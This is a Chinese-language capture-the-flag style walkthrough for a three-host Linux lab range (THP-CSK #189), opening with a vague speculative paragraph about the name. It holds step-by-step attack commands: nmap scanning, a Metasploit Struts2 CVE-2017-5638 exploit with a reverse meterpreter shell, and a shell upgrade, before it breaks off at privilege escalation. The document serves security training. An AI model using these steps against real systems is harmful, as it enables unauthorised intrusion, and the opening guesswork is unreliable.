THP-CSK 靶场通常指的是一种特定的靶场环境,其中THP可能代表靶场项目或靶场计划,CSK可能代表综合训练系统或综合控制系统。具体含义需要根据上下文来确定。以下是一些可能的解释:1. **THP-CSK 靶场项目**:这可能是一个针对特定项目或任务的靶
摘要:🛡️ THP-CSK 靶场 · Linux 内网横向渗透全流程 靶场编号: #189 · 难度方向: Web DMZ → 内网横向 涉及技术: Struts
🛡️ THP-CSK 靶场 · Linux 内网横向渗透全流程
靶场编号: #189 · 难度方向: Web DMZ → 内网横向
涉及技术: Struts2 RCE · 内核提权 · SSH 密钥复用 · SOCKS 代理穿透 · Jenkins 凭据解密
📋 靶场概述
本次靶场共三台 Linux 主机,模拟一个典型的企业内网"站库分离"架构:
主机 IP
角色
对外可达
172.16.250.10
Web 服务器(入口机)
✅ 可直接访问
172.16.250.30
内网 Web 应用
❌ 仅内网访问
172.16.250.50
数据库服务器
❌ 不出网
靶机账号密码:hacker / changeme
主要攻击路径:利用 .10 上的 Struts2 漏洞获取 Shell → 提权 → 横向移动到 .30 和 .50
🗺️ 整体攻击思路
外网入口(.10) → 代码执行 / 提权 → 内网横向(.30) → 数据库(.50)
📥 靶场文件下载
https://secplanet.sfo2.cdn.digitaloceanspaces.com/THP-csk-lab.zip
🔧 环境搭建
VMware 路径: 编辑 → 虚拟网络编辑器 → 更改设置
修改子网 IP 为 172.16.250.0,类型保持"段内可通讯"即可,用来模拟内网隔离环境。
🔍 信息收集
打开三台虚拟主机,先扫一下存活主机:
nmap -sn 172.16.250.0/24
刚好三台,符合预期。
然后对这三台机器做全端口详细扫描:
nmap -A -p- 172.16.250.10 172.16.250.30 172.16.250.50
扫描结果汇总:
IP
开放端口 / 特点
172.16.250.10
22 (SSH)、80 (nginx + OpenCms)、8009 (AJP)、8080 (Tomcat 7)
172.16.250.30
仅 22 (SSH)
172.16.250.50
仅 22 (SSH)
💡 很明显:.10 是入口机,.30 / .50 是横向移动目标,只有 SSH 对外,说明内网还有服务隐藏着。
🌐 Web 踩点
访问 80 端口:
http://172.16.250.10/
跑的是 OpenCms:
访问 8080 端口:
http://172.16.250.10:8080/
标准的 Tomcat 页面:
尝试在 Kali 上搜 OpenCms 的漏洞:
searchsploit opencms
基本都是 XXE 文件读取,没什么直接 RCE 的利用,先搁置。
再跑一下目录:
dirsearch -u http://172.16.250.10/
也没发现啥有用的。到这里其实有点没头绪,后来翻 WP 才知道有这么一个路径:
http://172.16.250.10/struts2-showcase/showcase.action
这是 Struts2 Showcase Demo,官方演示程序,很多靶场都会装这个当入口。看到这个基本就知道该怎么打了。
💥 漏洞利用:Struts2 RCE(CVE-2017-5638)
打开 MSF,搜 Struts2:
msfconsole
search struts2
选用模块:
use exploit/multi/http/struts2_content_type_ognl
📌 对应漏洞:CVE-2017-5638,通过 Content-Type 头注入 OGNL 表达式实现远程代码执行。
注意默认 payload 是 Windows 的:
目标是 Linux,要手动切换:
set payload linux/x86/meterpreter/reverse_tcp
set RHOSTS 172.16.250.10
set RPORT 80
show options
配置没问题,直接打:
run
getuid
✅ 成功拿到 tomcat 权限,下一步是提权到 root。
⬆️ 提权
先获取交互式 Shell:
shell
python -c 'import pty; pty.spawn("/bin/bash")' #不行
python3 -c 'import pty; pty.spawn("/bin/bash")'
⚠️ 注意:这台机器没有 python,只有 python3。
